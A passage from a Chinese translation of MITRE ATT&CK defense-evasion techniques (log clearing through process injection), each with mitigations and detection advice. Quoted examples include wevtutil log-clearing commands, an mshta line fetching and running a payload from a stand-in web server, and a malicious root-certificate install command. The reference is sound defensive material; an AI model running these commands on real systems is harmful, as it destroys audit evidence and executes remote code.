- `wevtutil cl system`
- `wevtutil cl application`
- `wevtutil cl security`

也可以使用其他机制（如 PowerShell）清除日志。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 敏感信息加密 | 在本地和传输中混淆/加密事件文件，避免向攻击者提供反馈。 |
| 远程数据存储 | 自动将事件转发到日志服务器或数据存储库，防止攻击者在本地系统上定位和操控数据。尽可能缩短事件报告的时间延迟，避免在本地系统上长时间存储。 |
| 文件和目录权限限制 | 通过适当权限和身份验证来保护本地存储的事件文件，并通过防止权限升级来限制对手提升权限。 |

### 检测

监控文件系统来检测是否有不当删除或修改指标文件的行为。例如，删除 Windows 事件日志（通过本机二进制文件、API 函数或 PowerShell）可能会生成可变事件（事件 1102：“已清除审核日志”）。文件系统中未存储的事件可能需要不同的检测机制。

## 5.34 间接命令执行

编号：T1202

技术：防御逃逸

平台：Windows

所需权限：用户

数据源：文件监控，进程监控，进程命令行参数，Windows 事件日志

绕过的防御：静态文件分析、应用白名单、进程白名单、文件名或路径白名单

贡献者：Matthew Demaske，Adaptforward

版本：1.0

可以使用各种 Windows 实用程序来执行命令，而不需要调用 cmd。例如，Forfiles、程序兼容性助手（pcalua.exe）、WSL（Windows Subsystem for Linux）组件以及其他实用程序可以从命令行界面、运行窗口或通过脚本来调用程序和命令的执行。

攻击者可能会滥用这些功能来规避防御，尤其是在破坏检测和/或缓解控制（如组策略）的同时执行任意动作。（这些控制限制/阻止了 cmd 或恶意负载相关文件扩展名的使用。）

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

监控和分析基于主机的检测机制（如 Sysmon）中的日志来查看事件，比如查看是否有进程创建事件（创建过程中使用了参数来调用程序/命令/文件和/或生成子进程/网络连接，或者该创建是由这些参数导致的）。

## 5.35 安装根证书

编号：T1130

技术：防御逃逸

平台：Linux，Windows，macOS

所需权限：管理员，用户

数据源：SSL/TLS 检查，数字证书日志

绕过的防御：数字证书验证

贡献者：Itzik Kotler，SafeBreach；Travis Smith，Tripwire；Red Canary；Matt Graeber，@mattifestation，SpecterOps

版本：1.0

根证书在公钥加密中用于标识根证书颁发机构（CA）。安装根证书后，系统或应用将信任根证书签名的根信任链中的证书。证书通常用于在 web 浏览器中建立安全的 TLS/SSL 通信。当用户试图浏览提供不受信任证书的网站时，将显示一条错误消息，警告用户存在安全风险。根据安全设置，浏览器可能不允许用户建立与该网站的连接。

攻击者可能会通过在其入侵的系统上安装根证书的方式来降低该系统安全性。攻击者已使用这种技术来避免在入侵系统通过 HTTPS 连接到攻击者控制的网络服务器时（攻击者用这些

服务器来欺骗合法网站从而收集用户登录凭据）给用户安全警告提示。制造商在系统或软件供应链中也预先安装了非典型根证书。如果这些非典型根证书与恶意软件/广告软件一起使用，会给中间人提供拦截 TLS/SSL 传输信息的能力。

根证书（及其关联的链）也可以克隆和重新安装。克隆的证书链将携带许多与源根证书相同的元数据特征，并可用于对恶意代码进行签名。签名后，这些恶意代码可能会绕过签名验证工具（例如：Sysinternals、antivirus 等）。签名验证工具用于阻止执行和/或发现持久性工具。

MacOS 中，Ay Mami 恶意软件使用`/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert` 将恶意证书作为受信任的根证书安装到系统密钥链中。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 操作系统配置 | 可使用 Windows 组策略来管理根证书，并且可以将 `HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots` 的 `Flags` 值设置为 1 来防止非管理员用户在自己的 HKCU 证书存储中再安装根证书。 |
| 软件配置 | HTTP 公钥锁定（HPKP）用于缓和中间人攻击，即攻击者强制使用预期的错误或欺诈证书来拦截加密通信。 |

检测

系统的根证书不太可能经常更改。监控系统上可能由恶意活动触发安装的新证书。检查新系统上预安装的证书，确保不存在不必要或可疑的证书。微软在线并通过 authroot.stl 提供可信任的根证书列表。也可以使用 Sysinternals Sigcheck 实用程序（`sigcheck[64].exe -tuv`）转储证书库里的证书，并列出微软证书信任列表未包含的有效证书。

已安装的根证书位于注册表中的 `HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\`和`[HKLM or HKCU]\Software[\Policies]\Microsoft\SystemCertificates\Root\Certificates\`下。

有一个根证书子集。这个子集中的根证书在 Windows 系统中是一致的，可用于做比较。

- 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
- 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
- 3B1EFD3A66EA28B16697394703A72CA340A05BD5
- 7F88CD7223F3C813818C994614A89C99FA3B5247
- 8F43288AD272F3103B6FB1428485EA3014C0BCFE
- A43489159A520F0D93D032CCAF37E7FE20A8B419
- BE36A4562FB2EE05DBB3D32323ADF445084ED656

- CDD4EEAE6000AC7F40C3802C171E30148030C072

# 5.36 InstallUtil 工具

编号：T1118

技术：防御逃逸，执行

平台：Windows

所需权限：用户

数据源：进程监控，进程命令行参数

是否支持远程：否

绕过的防御：进程白名单，数字证书验证

贡献者：Casey Smith；Travis Smith，Tripwire

版本：1.1

命令行实用程序 InstallUtil 可用于通过执行.NET 二进制文件中指定的特定安装程序组件来安装和卸载资源。InstallUtil 位于 Windows 系统上的.NET 目录中：`C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe` and `C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe`。InstallUtil.exe 由 Microsoft 进行数字签名。

攻击者可能会使用 InstallUtil 通过受信任的 Windows 实用程序来代理执行代码。 攻击者还可以用 Installutil 来绕过进程白名单，方法是在二进制文件中使用属性，这些属性执行用属性`[System.ComponentModel.RunInstaller(true)]`修饰的类。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 InstallUtil。 |
| 执行预防 | 如果给定的系统或网络不需要 InstallUtil.exe，使用应用白名单来防止攻击者滥用它。 |

## 检测

通过进程监控来检测和分析 InstallUtil.exe 的执行和参数。将 InstallUtil.exe 的最近调用与已知恰当参数及已加载文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 InstallUtil.exe 调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

# 5.37 Launchctl 工具

编号: T1152

技术： 防御逃逸，执行，持久化

平台： macOS

所需权限： User, Administrator

数据源： 文件监控，进程监控，进程命令行参数

支持远程：否

绕过的防护：应用白名单，进程白名单，文件名或文件路径白名单

版本： 1.0

Launchctl 用于控制 macOS 上启动代理和启动服务的加载程序，但是它自身也可执行其它命令或程序。Launchctl 支持在命令行中使用子命令，以交互方式运行甚至直接从标准输入重定向。通过加载或重加载要启动的代理和服务，恶意者可以做系统修改并持久化[1]。通过 Launchctl 执行命令非常简单：`launchctl submit -l-- /Path/to/thing/to/execute "arg" "arg" "arg"`。加载、卸载、或重新加载要启动的代理或服务可能需要提权。

恶意者可以滥用该功能以执行代码，甚至当 launchctl 属于白名单项时通过它执行程序可绕过系统的白名单校验机制。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户账户管理 | 禁止用户安装他们自己的启动代理和启动服务，要求他们遵循下发的组策略。 |

## 检测

Knock Knock 可用于检测 launchctl 安装启动代理或启动服务的驻留程序。另外，每个启动代理或启动服务都有可被监控的 plist 文件位于磁盘上。监控由 launchctl/launchd 启动的非常见或未知进程。

# 5.38 LC_MAIN 劫持

编号： T1149

技术： 防御逃逸

平台： macOS

所需权限： 用户，管理员

数据源：二进制文件元数据，恶意代码逆向工程，进程监控

绕过的防御： 应用白名单，进程白名单，文件名或文件路径白名单

| 版本： 1.0 |
| --- |

自 OS X 10.8 起，mach-O 二进制文件引入了一个名为 LC_MAIN 的新标头，该标头指向二进制文件的入口点以执行。以前，有两个标头来实现相同的效果：LC_THREAD 和 LC_UNIXTHREAD 。二进制文件的入口点可以被劫持，以致初始执行流到恶意添加（另一个部分或代码洞穴），然后返回初始入口点，使得受害者不知道有什么不同。通过以这种方式修改二进制文件，可以绕过应用程序白名单，因为文件名或应用程序路径仍然相同。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 代码签名 | 对所有应用程序上的签名代码强制实施有效的数字签名，并且仅信任具有来自受信任方签名的应用程序。 |

检测

确定二进制文件的原始入口点很困难，但校验和和签名验证是非常可能得到确定的。修改 LC_MAIN 入口点或添加其他 LC_MAIN 入口点会使文件的签名无效，并且该行为会被检测到。收集正在运行的进程信息，并针对已知应用程序进行比较，以查找可疑行为。

# 5.39 伪装

编号：T1036

技术：防御逃逸

平台：Linux，macOS，Windows

数据源：文件监控，进程监控，二进制文件元数据

绕过的防御：文件名或路径白名单

贡献者：Nick Carr，FireEye；David Lu，Tripwire；Felipe Espósito，@Pr0teus；ENDGAME；Bartosz Jerzman

版本：1.1

伪装指的是攻击者操纵或滥用可执行文件（不管是合法还是恶意的）的名称或位置来逃避防御和观察。已经发现了以下几种技术变体：

一种变体是将可执行文件放在通常受信任的目录中，或者将文件命名为合法受信任程序的名称。另外，也可能将文件命名为与合法程序很相近的名称，或其它无伤大雅的名称。比如，移动并重命名一个公共系统实用工具或程序来规避其对其使用情况的检测。这样做是为了绕过依赖文件名或路径来信任可执行文件的工具，以及通过将文件名与其它合法事物相关联来欺骗防御程序和系统管理员认为文件是善意的。

另外一种变体使用从右向左覆盖（RTLO 或 RLO）字符（U+202E）的方法诱骗用户执行他们认为的善意文件类型但实际上是可执行代码。RTLO 是非打印字符，它会导致后面的文本反向显示。例如，一个名为 `March 25 \u202Excod.scr` 的 Windows 屏幕保护程序文件将显示为 `March 25 rcs.docx`，名为 `photo_high_re\u202Egnp.js` 的 JavaScript 文件将显示为 `photo_high_resj.png`。这种技术的一个常见做法是使用网络钓鱼攻击附件，因为它可以欺骗邮件双方和防御程序，如果恰好他们不知道自己的工具如何显示和呈现 RTLO 字符。在许多针对性的入侵企图和犯罪活动中都可以看到 RTLO 字符的使用。RTLO 也可用于 Windows 注册表，其中 regedit.exe 显示相反的字符，但命令行工具 reg.exe 默认情况下不这么显示。

### Windows

在这种技术的另一种变体中，攻击者可能会使用合法实用程序的重命名副本，例如 rundll32.exe。另一种情况是，将合法实用程序移动到其他目录并重命名来规避从非标准路径执行的系统实用程序的检测。

举例：Windows 中，攻击者会滥用受信任位置 `C:\Windows\System32`，会把恶意二进制文件命名为受信任二进制名称 “explorer.exe”和“svchost.exe”。

### Linux

此技术的另一个变体包括恶意二进制文件启动后（与以前相反）将运行进程的名称更改为可信或良性进程的名称。

举例：Linux 中，攻击者会滥用受信任位置/ `bin` ，会把恶意二进制文件命名为受信任二进制名称“rsyncd”和“dbus-inotifier”

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 代码签名 | 要求有签名的二进制文件。 |
| 执行预防 | 对于所需的常用操作系统实用程序，请使用工具通过属性白名单而不是文件名来限制程序执行。 |
| 文件和目录权限限制 | 通过文件系统访问控制来保护文件夹，如 C:\ Windows\System32。 |

### 检测

采集文件哈希；与预期哈希不匹配的文件名是可疑的。执行文件监控；异常位置出现已知名称的文件是可疑的。同样，非升级或打补丁期间所做的文件修改也是可疑的。

如果磁盘上的文件名与二进制 PE 元数据的文件名不匹配，这可能表示二进制文件在编译后已被重命名。收集和比较二进制文件的磁盘和资源文件名以及查看 InternalName、OriginalFilename 和/或 ProductName 是否与预期匹配可以提供有用的线索，但并不总是表示存在恶意活动。不要关注文件可能的名称，而应关注已知会使用的命令行参数。这些参数很明确，因为这样会有更好的检测率。

对于 RTLO，检测方法应包括在文件名中查找 RTLO 字符的常见格式，如“\u202E”、“[U+202E]”和“%E2%80%AE”。防御程序还应检查他们的分析工具，以确保工具不会解释 RTLO 字符，而是打印包含这些字符的文件的真实名称。

# 5.40 注册表修改

编号：T1112

技术：防御逃逸

平台：Windows

所需权限：用户，管理员，系统

数据源：Windows 注册表，文件监控，进程监控，进程命令行参数，Windows 事件日志

绕过的防御：主机取证分析

贡献者：Bartosz Jerzman；Travis Smith，Tripwire; David Lu，Tripwire

版本：1.0

攻击者可能会与 Windows 注册表交互，在注册表项中隐藏配置信息，删除信息，或辅助获得持久性或辅助执行。

能否访问注册表的特定区域取决于账号权限，有些需要管理员级别的访问权限。Windows 内置的命令行实用程序 Reg 可用于本地或远程注册表修改。还可以使用其他能通过调用 Windows API（参见示例）与注册表交互的工具，例如远程访问工具。

注册表修改还可以包括隐藏键的操作，例如在键名称前面加上一个空字符，这将导致使用 regor 或其他实用程序通过调用 win32 API 读取数据时出错并且被忽略。攻击者可能会滥用这些伪隐藏密钥来隐藏用于建立持久性的负载/命令。

可以修改远程系统的注册表，辅助执行文件来横向移动。前提是远程注册表服务需要在目标系统上运行。通常需要有效的账号，可以访问远程系统的 Windows Admin Shares 进行 RPC 通信。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 注册表权限限制 | 确保为注册表配置单元设置了适当的权限，防止用户修改系统组件的键来提升权限。 |

## 检测

注册表的修改是正常的，在 Windows 操作系统的典型使用过程中都会发生。考虑对特定键启用注册表审核，以便在值发生更改时生成警报事件（事件 4657）（尽管使用 reghide 或其他规避方法创建值时可能不会触发此事件）。更改注册表项以便 Windows 启动时加载与已知软件、补丁周期等不相关的软件是可疑的，在启动文件夹中添加或修改文件也是可疑的。更改

还可能包括创建新服务和修改现有二进制路径来指向恶意文件。如果更改了与服务相关的条目，则随后很可能启动或重启本地或远程服务以执行文件。

监控进程和命令行参数来检测注册表信息更改或删除动作。带有内置功能的远程访问工具可以直接与 Windows API 交互以收集信息。还可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）来获取信息。如果使用了这些工具，可能还需要在操作系统中配置日志功能，以便收集必要的信息用于分析。

监控与隐藏注册表项（如 Reghide）相关联的进程、命令行参数和 API 调用。调用原生 Windows API 和/或使用 Autoruns、RegDelNull 等工具检查和清除恶意隐藏注册表项。

## 5.41 Mshta 命令

编号：T1170

技术：防御逃逸，执行

平台：Windows

所需权限：用户

数据源：进程监控，进程命令行参数

是否支持远程：否

绕过的防御：应用白名单，数字证书验证

贡献者：Ricardo Dias；Ye Yint Min Thu Htut，Offensive Security Team，DBS Bank

版本：1.1

Mshta.exe 是一个执行微软 HTA（HTML 应用）的实用程序。HTA 文件扩展名为.hta。HTA 是独立的应用，使用与 Internet Explorer 相同的模型和技术来执行，但在浏览器之外执行。

攻击者可能会使用 mshta.exe 通过受信任的 Windows 实用程序来代理执行恶意.hta 文件和 Javascript 或 VBScript。已知攻击者在最初攻击阶段利用 mshta.exe 来执行代码的几个例子。

Mshta.exe 可通过内联脚本来执行文件：`mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct")")")`

也可以直接从 URL 执行：`mshta http[:]//webserver/payload[.]hta`

Mshta.exe 可绕过不考虑其潜在用途的应用白名单解决方案。由于 mshta.exe 在 Internet Explorer 的安全上下文之外执行，因此它还会绕过浏览器安全设置。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 Mshta.exe，因为其功能与已达到使用寿命的旧版本 |

| | |
|---|---|
| | Internet Explorer 相关联。 |
| 执行预防 | 如果给定系统或网络不需要 mshta.exe，使用应用白名单来防止攻击者滥用它。 |

### 检测

通过进程监控来检测和分析 mshta.exe 的执行和参数。查找在命令行中执行原始或混淆脚本的 mshta.exe。将 mshta.exe 的最近调用与已知恰当参数及已执行二进制文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 mshta.exe 调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

监控 HTA 文件的使用。在环境中执行不经常使用的 HTA 文件是可疑的。

## 5.42 网络共享连接删除

编号：T1126

技术：防御逃逸

平台：Windows

系统要求：已建立到远程系统的网络共享连接。访问级别取决于所使用账号的权限。

所需权限：管理员，用户

数据源：进程监控，进程命令行参数，网络抓包，认证日志

绕过的防御：主机取证分析

版本：1.0

不需要 Windows 共享驱动器和 Windows 管理共享连接时，可以删除它们。NET 是一个示例实用工具，它可以通过 `net use \system\share /delete` 命令来删除网络共享连接。

攻击者可以删除无用的共享连接，从而清除其操作痕迹。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

网络共享连接可能很常见，具体取决于网络环境的使用方式。监控 `net use` 命令（与通过 SMB 建立和删除远程共享相关）的命令行调用，遵循检测 Windows 管理共享的最佳实践。系统之间的 SMB 通信量也可以被捕获和解码以查找相关的网络共享会话和文件传输活动。Windows 身份认证日志可用于确定何时及通过哪个账号建立了认证的网络共享，并且可用于将网络共享活动与其他事件相关联来研究潜在的恶意活动。

# 5.43 NTFS 文件属性

编号：T1096

技术：防御逃逸

平台：Windows

系统要求：NTFS 分区硬盘

数据源：文件监控、内核驱动程序、API 监控、进程命令行参数

绕过的防御：基于签名的检测、主机取证分析、防病毒

贡献者：Red Canary；Oddvar Moe，@oddvarmoe

版本：1.0

每个新技术文件系统（NTFS）格式的分区都包含一个主文件表（MFT），它为分区上的每个文件/目录维护一个记录。MFT 条目中是文件属性，如扩展属性（EA）和数据（存在不止一个数据属性时称为备用数据流（ADSS）），可用于存储任意数据（甚至完整的文件）。

攻击者可能会将恶意数据或二进制文件存储在文件属性元数据中，而不是直接存储在文件中。这可能是为了逃避一些防御措施，如静态指示扫描工具和防病毒。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 文件和目录权限限制 | 请考虑调整 NTFS EA 的读写权限。不过应该对其进行测试，以确保不会妨碍操作系统的常规操作。 |

## 检测

存在用来识别 NTFS EA 中存储信息的取证技术。监控对 Windows API 函数 ZwSetEaFile 和 ZwQueryEaFile 的调用以及对用于与 EA 交互的二进制文件的调用，并考虑定期扫描是否存在修改过的信息。

有很多方法可以通过 Windows 实用程序创建 ADSs 并与之交互。监控带冒号文件名的操作（执行，复制等）。此语法（例如：`file.ext:ads[.ext]`）通常与 ADSs 关联。对于可用于执行和创建 ADSs 的实用工具列表，请参阅 HTTPS://GIST.GITHUBCOM/API0CRADLY/CDD2D0EC9ABB66F0E89306E27 7B8F。

Sysinternals 的 Streams 工具可以打开带 ADSs 的文件。`dir /r` 命令也可以用来显示 ADSs。许多 PowerShell 命令（如 Get-Item、Set-Item、Remove-Item 和 Get-ChildItem）也可以接受`-stream` 参数来与 ADSs 交互。

# 5.44 混淆文件或信息

编号：T1027

技术：防御逃逸

平台：Linux，macOS，Windows

数据源：网络协议分析、网络进程使用、文件监控、恶意软件逆向工程、二进制文件元数据、进程命令行参数、环境变量、进程监控、Windows 事件日志、网络入侵检测系统、电子邮件网关、SSL/TLS 检查

绕过的防御：主机取证分析、基于签名的检测、主机入侵防御系统、应用白名单、进程白名单、日志分析、文件名或路径白名单

贡献者：Red Canary；Christiaan Beek，@ChristiaanBeek

版本：1.0

攻击者可能会试图通过加密、编码或其他方式混淆系统或传输中的内容，使得难以发现或分析可执行文件。这种操作很常见。攻击者可以跨不同平台和网络做此操作来规避防御。

有效负载可以压缩、存档或加密，从而避免被发现。这些负载可在初始访问期间或之后使用，以减少检测。有时，可能需要用户执行操作来打开文件才能去模糊化或解密。可能还会需要用户输入密码来打开攻击者提供的用密码保护的压缩/加密文件。攻击者也可能使用压缩或归档的脚本，比如 Javascript。

也可以对文件的部分内容编码，隐藏明文字符串，以避免防御程序发现它们。有效负载也可能被分割成单独的、看似善意的文件，这些文件只在重新组装时才会显现其恶意功能。

攻击者也可能混淆从有效负载或直接通过命令行界面执行的命令。环境变量、别名、字符和其他平台/语言特定语义可以用来规避基于签名的检测和白名单机制。

混淆的另一个示例是使用隐写术，这是一种将消息或代码隐藏在图像、音轨、视频剪辑或文本文件中的技术。已知和报告的最早应用隐写术的攻击者之一使用的是 Invoke-PSImage。Duqu 恶意软件对从受害者系统中收集到的信息进行了加密，并将其隐藏到一个图像中，然后将该图像传输到 C2 服务器。2017 年底，一个攻击者团体通过 Invoke-PSImage 将 PowerShell 命令隐藏在图像文件（png）中，并在受害者的系统上执行代码。在这种特殊情况下，PowerShell 代码下载了另一个混淆脚本，用这个脚本从受害者的机器中收集情报并将其传达回攻击者。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 防病毒/防恶意软件 | 考虑利用 Windows 10 上的防恶意软件扫描接口（AMSI）来分析处理和解释后的命令。 |

### 检测

文件混淆的检测是困难的，除非混淆后的产物是用签名唯一可检测的。如果无法检测到混淆本身，则有可能检测到导致混淆文件的恶意活动（例如，在文件系统上写入、读取或修改文件）。

标记并分析包含混淆指示符和已知可疑语法（例如未解释的转义字符"'^"'和"'"'"'"'）的命令。Windows 的 Sysmon 和事件 4688 显示进程的命令行参数。去混淆工具可用于检测文件/有效负载中的这些指示符。

可以在网络上检测到有效负载中出于首次访问目的的混淆。使用网络入侵检测系统和电子邮件网关过滤来识别压缩和加密的附件和脚本。某些电子邮件附件轰炸系统可以打开压缩和加密的附件。从某网站通过加密连接传递的有效负载需做加密网络流量检查。

## 5.45 Plist 修改

编号： T1150

技术： 防御逃逸，持久化，权限升级

平台： macOS

所需权限： 用户，管理员

数据源：文件监控，进程监控，进程命令行参数

绕过的防御:应用程序白名单，进程白名单，按文件名或路径列出白名单

版本： 1.0

属性列表 （plist） 文件包含 macOS 和 OS X 用于配置应用程序和服务的所有信息。这些文件是通过一系列键<>包围的 UTF-8 编码和格式化像 XML 文档。它们详细说明程序何时应执行、可执行文件路径、程序参数、所需的操作系统权限以及其他许多权限。plists 位于特定位置，具体取决于其用途，例如`/Library/Preferences`（以提升的权限执行）和`~/Library/Preferences`（使用用户的权限执行）。攻击者可以修改这些 plist 文件以指向自己的代码，可以使用它们在另一个用户的上下文中执行其代码，绕过白名单过程，甚至将它们用作持久性机制。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 限制文件和目录权限 | 使 plist 文件成为只读文件，防止用户修改这些文件. |

检测

文件系统监视可以确定是否正在修改 plist 文件。在大多数情况下，用户不应有权限修改这些。某些软件工具（如"敲击"）可以检测持久性机制，并指向正在引用的特定文件。这有助于查看实际执行的内容。

监控进程执行，查找由修改的 plist 文件产生的异常进程的执行。监控用于修改 plist 文件或将 plist 文件作为参数的实用程序，这可能指示可疑活动。

# 5.46 端口试探

编号： T1205

技术： 防御逃逸，持久化，命令与控制

平台： Linux, macOS

所需权限： 用户

需要网络: 是

绕过的防御: 防御网络服务扫描

版本： 1.0

端口敲击是防御者和对手用来隐藏开放端口以阻止访问的成熟方法。要启用端口，攻击者会在打开端口之前发送一系列具有特定特征的数据包。通常，这一系列数据包包括尝试连接到预定义的封闭端口序列，但可能涉及异常标志、特定字符串或其他唯一特征。序列完成后，打开端口通常由基于主机的防火墙完成，但也可以通过自定义软件实现。

对于侦听端口的动态打开以及启动与不同系统上的侦听服务器的连接，该技术已备受关注。

可以通过不同方法对信号数据包进行观察以触发通信。一种手段，最初由 Cd00r 实现，是使用 libpcap 库来嗅探有问题的数据包。另一种方法利用原始套接字，使恶意软件能够使用已打开供其他程序使用的端口。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 过滤网络流量 | 可通过使用有状态防火墙来缓解此技术的某些变体，具体取决于其实现方式. |

### 检测

记录发送到系统或从系统发送的网络数据包，查找不属于已建立流的无关数据包.

## 5.47 进程 Doppelgänging

| | |
|---|---|
| 编号： | T1186 |
| 技术： | 防御逃逸 |
| 平台： | Windows |
| 所需权限： | 管理员，系统，用户 |
| 数据源： | API 监测，进程监测 |
| 绕过的防御: | 进程白名单，杀毒软件，文件名或文件路径白名单，基于签名监测 |
| 版本： | 1.0 |

Windows 事务性 NTFS（TxF）作为一个执行安全文件操作的方法在 Vista 中引入。[1] 为确保数据完整性，TxF 只允许一个事务处理句柄在给定时间写入文件。在写入句柄事务终止之前，所有其他句柄都与编写器隔离，并且只可能读取打开句柄时存在的文件的已提交版本。为了避免损坏，如果系统或应用程序在写入事务期间发生故障，TxF 会执行自动回滚。]

尽管已弃用，但 TxF 应用程序编程接口 （API） 在 Windows 10 中仍处于启用状态。

攻击者可能会利用 TxF 执行称为多普勒格进程的"进程注入"的无文件变体。与"进程空心"类似，多普勒格进程涉及替换合法进程的内存，从而能够隐晦地执行可能逃避防御和检测的恶意代码。多普勒格进程对 TxF 的使用还避免了使用被高度监控的 API 函数，如 NtUnmapViewOfsection、VirtualProtectEx 和 SetThreadContext。

多普勒格进程通过 4 个步骤实现：

- 事务 – 使用合法的可执行文件创建 TxF 事务，然后用恶意代码覆盖文件。这些更改将是孤立的，并且仅在本次事务的上下文中可见。
- 加载 – 创建一个内存的共享区域并加载恶意可执行文件。
- 回滚 – 消对原始可执行文件的更改，有效地从文件系统中删除恶意代码。
- 启动 – 从内存的污染部分创建进程并启动执行。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用。

### 检测

对表明 TxF 活动的创建事务、创建文件事务、回滚事务和其他很少使用的函数的调用进行监视和分析。多普勒进程还通过调用 NtCreateProcessEx 和 NtCreateThreadEx 调用 过时

且未记录的 Windows 进程加载器的实现，以及用于修改另一进程中的内存的 API 调用（如 WriteProcessMemory）。

扫描在 PsSetCreateProcessNotifyRoutine 期间报告的文件对象，每当创建或删除进程时都会触发回调，特别是查找具有启用写入访问权限的文件对象。还考虑将内存中加载的文件对象与磁盘上的相应文件进行比较。

分析进程行为以确定进程是否执行它通常不执行的操作，例如打开网络连接、读取文件或与危害后行为相关的其他可疑操作。

# 5.48 进程替换

编号：T1093

技术：防御逃逸

平台：Windows

所需权限：用户

数据源：进程监控，API 监控

绕过的防御：进程白名单，文件名或路径白名单，基于签名的检测，防病毒

版本：1.0

进程替换指的是挂起状态下创建的进程内存被取消映射且替换为恶意代码。与进程注入类似，恶意代码的执行在合法进程下被屏蔽且可能逃避防御和检测分析。

## 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

## 检测

监控 API 调用可能会生成大量数据而且可能无法直接用于防御，除非是在特定情况下为已知的错误调用序列收集数据。因为 API 函数的使用往往是善意的，很难与恶意行为区分开来。进程替换过程中可能会调用 ZwUnmapViewOfSection、NtUnmapViewOfSection 等 API 来取消进程内存映射，也会调用 WriteProcessMemory 等 API 来修改其它进程的内存。

分析进程行为来确定流程是否正在执行其通常不执行的操作，例如打开网络连接，读取文件或其他可疑的入侵后操作。

# 5.49 进程注入

编号：T1055

技术：防御逃逸，权限升级

平台：Linux，macOS，Windows

| |
|---|
| 所需权限：用户，管理员，系统，root |
| 有效权限：用户，管理员，系统，root |
| 数据源：API 监控，Windows 注册表，文件监控，动态链接库监控，进程监控，命名管道 |
| 绕过的防御：进程白名单，防病毒 |
| CAPEC 编号：CAPEC-242 |
| 贡献者：Anastasios Pingios；Christiaan Beek，@ChristiaanBeek；Ryan Becwar |
| 版本：1.0 |

进程注入是在单独的活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码可能会导致允许访问该进程的内存、系统/网络资源以及可能导致权限提升。通过进程注入执行代码还可以逃避安全产品的检测，因为代码执行是用合法进程隐藏的。

### Windows

将代码注入活动的进程有多种实现方法。Windows 系统中有如下实现方法：

- 动态链接库注入涉及将恶意动态链接库路径写入进程内，然后通过创建远程线程来调用执行。
- 可移植可执行注入涉及将恶意代码直接写入进程（磁盘上没有文件），然后通过这些额外代码或创建远程线程来调用执行。用注入的代码来置换原有的代码引入了其他功能需求：重新映射内存引用。这种方法的变体，如反射式动态链接库注入（将自映射动态链接库写入进程）和内存模块（写入进程时映射动态链接库），解决了地址重定位问题。
- 线程执行劫持涉及将恶意代码或动态链接库路径注入到进程的线程。与进程替换类似，线程必须先挂起。
- APC（异步过程调用）注入涉及将恶意代码附加到进程线程的 APC 队列。排队的 APC 函数在线程进入可变状态时执行。APC 注入的一个变体，“Early Bird 注入”，涉及创建一个挂起的进程，该进程中的恶意代码可以在进程的入口点（以及随后可能会有的防恶意软件 Hook）之前通过 APC 写入和执行。AtomBombing 是另一种变体，它利用 APC 调用先前写入全局 atom 表的恶意代码。
- TLS（线程本地存储）回调注入涉及操控 PE 文件中的指针，从而在到达代码的合法入口点之前将进程重定向到恶意代码。

### Mac and Linux

Linux 和 OS X/MacOS 系统中有如下实现方法：

- 可使用环境变量 **LD_PRELOAD**，**LD_LIBRARY_PATH**（linux）、**DYLD_INSERT_LIBRARIES**（Mac OS X）或 dlfcn API 在进程中动态加载库（共享对象），拦截运行中进程的 API 调用。
- 可通过 Ptrace 系统调用将代码附加到正在运行的进程并在运行时对其修改。
- 可使用/proc/[pid]/mem 来获得进程内存访问权限，读取/写入任意数据。由于其复杂性，这种技术非常罕见。

- 使用 VDSO 劫持技术，通过操控从 linux-vdso.so 共享对象映射进来的代码存根，在 ELF 二进制文件运行时执行注入。

恶意软件通常利用进程注入来访问系统资源，通过这些资源获得持久性和其他环境修改。更复杂的样本可以使用命名管道或其他进程间通信（ipc）机制作为通信信道来执行多个进程注入，从而对模块进行分区并进一步规避检测。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 端点上的行为预防 | 可以配置某些端点安全解决方案，使其基于注入过程中发生行为的常见序列来阻止某些类型的进程注入。 |
| 特权账号管理 | Linux 系统中，利用 Yama 来减少基于 ptrace 的进程注入，方法是将 ptrace 的使用仅限于特权用户。也可以使用其他缓解措施，比如部署安全内核模块来提供高级访问控制和进程限制，如 SELinux、grsecurity 和 AppAmour。 |

检测

监控各种类型代码注入的 Windows API 调用可能会生成大量数据而且可能无法直接用于防御，除非是在特定情况下为已知的错误调用序列收集数据。因为 API 函数的使用往往是善意的，很难与恶意行为区分开来。注入过程中可能会调用 CreateRemoteThread、SuspendThread/SetThreadContext/ResumeThread、QueueUserAPC/NtQueueApcThread 等 API，也会调用 WriteProcessMemory 等 API 来修改其它进程的内存。

